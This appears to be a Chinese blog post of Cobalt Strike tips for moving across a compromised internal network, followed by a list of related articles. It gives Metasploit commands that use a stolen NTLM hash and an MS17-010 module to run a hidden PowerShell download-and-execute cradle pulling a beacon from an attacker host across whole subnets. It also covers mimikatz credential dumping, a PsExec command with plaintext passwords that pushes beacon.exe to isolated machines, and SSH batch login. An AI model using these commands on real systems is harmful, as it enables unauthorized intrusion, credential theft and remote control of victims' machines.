Cobalt Strike使用的一些技巧
利用msf模块上线beacon shell
当通过CS的mimikatz或者其他方式获得了目标机器的明文密码或者哈希时,可以利用metasploit的psexec_command模块来上线CS的beacon shell。
1.先通过CS生成上线Beacon的powershell
本地启动metasploit,挂上代理,设置psexec_command参数。
msf5 > setg Proxies socks4/5:97.xx.xx.23:1025
msf5 > use auxiliary/admin/smb/psexec_command
msf5 > set rhosts 192.168.52.0/24
msf5 > set threads 20
msf5 > set smbuser administrator
msf5 > set smbpass 579da618cfbfa85247acf1f800a280a4
msf5 > set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://97.xx.xx.23:82/a'))"
msf5 > run
当进入内网后,拿下一台或某几台机器时,若密码相同或相似,可以使用该方式直接通扫内网,可以做到机器批量上线。
通过ms17-010通扫内网(未成功!!!)
如果内网发现大量主机存在ms17-010,直接使用exploit/windows/smb/ms17_010_eternalblue该模块容易造成蓝屏,可以通过ms17_010命令执行模块做到批量上线。如:ms17_010_command、ms17_010_psexec等。
setg Proxies socks4:97.xx.xx.23:1008
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.0/24
set threads 50
set command 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://97.xx.xx.23:82/a'))"'
run
use exploit/windows/smb/ms17_010_psexec set rhosts 192.168.100.2 set SMBUser guest set SMBPass 123456 run
当获取到一台目标服务器的权限,如果想扩大战果,获得目标凭证进行横向扩展登录是最快速有效的方式。需要考虑的是目标环境是否可出网,如何利用CS进行批量上线。
1.目标机器上线后先提权抓取凭证
Access---》run mimikatz(或者直接在Beacon中执⾏logonpasswords导出明文密码),或直接dumphash。导出凭证操作需要管理员权限。
通过工具栏的View---》Credentials可以查看已经获得的凭证
1)目标出网
psexec传递
获取凭证后可以对内网445进行探测,然后使用psexec传递登录
Beacon > portscan 192.168.52.0/24 445 arp 200
通过菜单栏View---》Targets查看目标机器列表,可以全部选中,批量右键登录
选择之前获取到的主机的凭证,并确定接受的Listener已经主机的session。
在Beacon中可以看到执行的命令,并显示成功登录的IP,这样就可以实现同时控制多台主机的权限。
2)目标机不出网
如果我们已经获取到目标内网中一台主机的权限,但是该主机处于隔离网中,无法连接互联网,此时,我们可以将这台已经获取权限的主机当做跳板,在它做上面做一个监听,实现链路上线。
1.首先,在已上线的主机上创建一个Listener
选择 Attacks->Packages->Windows Executable(Stageless),⽀持导出该类型Listener对应的可执
⾏⽂件或dll等。proxy不填。
上传刚才⽣成的payload到当前已上线的⽬标机中,还需要上传另⼀个⼯具PsExec.exe 。
(CobalStrike本身psexec功能不够强⼤,且⽅法不唯⼀)
在Beacon中使⽤PsExec⼯具将payload上传到不出⽹的⽬标机中,⾃动执⾏,即可上线。
beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula
\192.168.190.130,192.168.190.132 -u administrator -p admin@123 -d -c
C:\WINDOWS\Temp\beacon.exe
因为这是link链接,只要主链路(即出⽹机Listener)掉线,就都会掉线!
3)ssh 批量登录
ssh批量登录⽐较简单,同样利⽤当前已上线的⽬标机进⾏登录。
beacon> portscan 192.168.144.170-210 22 arp 200
在Credentials中添加ssh的⼝令信息。(ssh⼝令可事先通过其他⽅式获取,不建议⽤此⼯具进⾏
ssh爆破,效率慢)
选择Login–>ssh登录。
选择刚添加的ssh⼝令,主机Session,即从哪台主机连接过去。
ssh成功登录后,就实现了Linux⽬标机的上线,在Beacon中可以看到执⾏的命令。若需要上线的
Linux主机不多,可直接在Beacon中执⾏命令。
Cobalt Strike使用的一些技巧的更多相关文章
- Cobalt Strike 3.13的新功能
Cobalt Strike 3.13现已推出.此版本添加了TCP Beacong,进程参数欺骗,并将Obfuscate和Sleep功能扩展到SMB和TCP Beacons. TCP Beacon Co ...
- Cobalt Strike 服务器搭建及使用
Cobalt Strike使用中的一些坑(一) http://www.cnblogs.com/miaodaren/articles/7829793.html cobaltstrike3.8服务器搭建及 ...
- Cobalt Strike DNS通讯实例
一.域名设置 如果没有域名,可以参考另一篇博客,申请Freenom免费域名,并使用DNSPod解析 链接:https://www.cnblogs.com/ssooking/p/6364639.html ...
- [工具]Cobalt Strike 3.13 TeamServer for Windows
Cobalt Strike 3.13 TeamServer for Windows 0x001 环境 CS 3.12 或 3.13 Kali或Win最好安装jdk1.8.5或之后版本 设置环境变量,如 ...
- Cobalt Strike 学习
前言 本文以一个模拟的域环境为例对 Cobalt Strike 的使用实践一波. 环境拓扑图如下: 攻击者(kali) 位于 192.168.245.0/24 网段,域环境位于 192.168.31. ...
- Cobalt Strike深入使用
System Profiler使用 System Profiler 模块,搜集目标的各类机器信息(操作系统版本,浏览器版本等) Attacks->web drive-by->System ...
- (转载)Cobalt Strike tutorial下针对CVE-2017-0199利用
CVE-2017-0199利用OLE对象嵌入Word / RTF文档的方式,使得可以在没有用户交互的情况下执行其内容.OLE由许多不同的程序支持,OLE通常用于使在另一个程序中可用的程序中创建的内容. ...
- Cobalt strike 第二节生成报告
0x00前言: 上一节我们说了怎么连接到服务器 0x01生成报告: 首先打开Cobalt Strike 点击Cobalt Strike -> Preferences Preferences Pe ...
- cobalt strike 第一节连接到团队的服务器
介绍:Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,jav ...
随机推荐
- node中的cookie
为什么需要cookie 我们知道http是无状态的协议,无状态是什么意思呢?我来举一个小例子来说明:比如小明在网上购物,他浏览了多个页面,购买了一些物品,这些请求在多次连接中完成,如果不借助额外的手段 ...
- android.widget.TextView.setText() on a null object reference
错误描述 java.lang.NullPointerException: Attempt to invoke virtual method 'void android.widget.TextView. ...
- WordPress用户角色权限
[转自:群燕小站(http://www.zqunyan.com):原文链接: http://www.zqunyan.com/158.html] WordPress默认的用户角色有5个:订阅者,投稿者, ...
- c语言的变量,常量及作用域等
1.const定义常量 在C语言中,const可以用来定义的一个常量,在变量名前加上const即可. int const a: 定义了一个a的整数常量,且a的值不能被修改.如果要修改a的值,有以下两种 ...
- 64位系统 system32 和 syswow64
\Windows\SysWOW64 文件夹下存放32位的库和应用程序 (WOW64 == Windows on Windows 64 bit ) \Windows\System32 文件夹下存放6 ...
- 057 01 Android 零基础入门 01 Java基础语法 06 Java一维数组 04 案例:求整型数组的数组元素的元素值累加和
057 01 Android 零基础入门 01 Java基础语法 06 Java一维数组 04 案例:求整型数组的数组元素的元素值累加和 本文知识点:求整型数组的数组元素的元素值累加和 案例:求整型数 ...
- getopt函数用法
getopt被用来解析命令行选项参数. #include <unistd.h> extern char *optarg; //选项的参数指针 extern int o ...
- Python 的映射数据类型有哪些?零基础小白入门学习必看
1 映射类关系 Python 的 collections.abc 模块内拥有 Mapping 和 MutableMapping 这两个抽象基类,它们为 dict 和其他类似的类型提供了接口定义. mu ...
- lua 1.1 源码阅读总结
GC 1. 怎么回收的lua 中所有已经分配的数据都会用一些指令的数据结构来记录,当需要回收时,先遍历当前栈内所有 object,把 ref 标志位打上 1,遍历符号表(这部分不能回收),反符号表中的 ...
- day27 Pyhton 面向对象02 类和对象的命名空间
一.内容回顾 类:具有相同属性和方法的一类事务 # 描述一类事务轮廓的一个机制 #商品/用户/店铺 对象/实例: 对象(实例)就是类的实例化 # 对象就是类的一个具体的表现 #某一件特定的商品/某个人 ...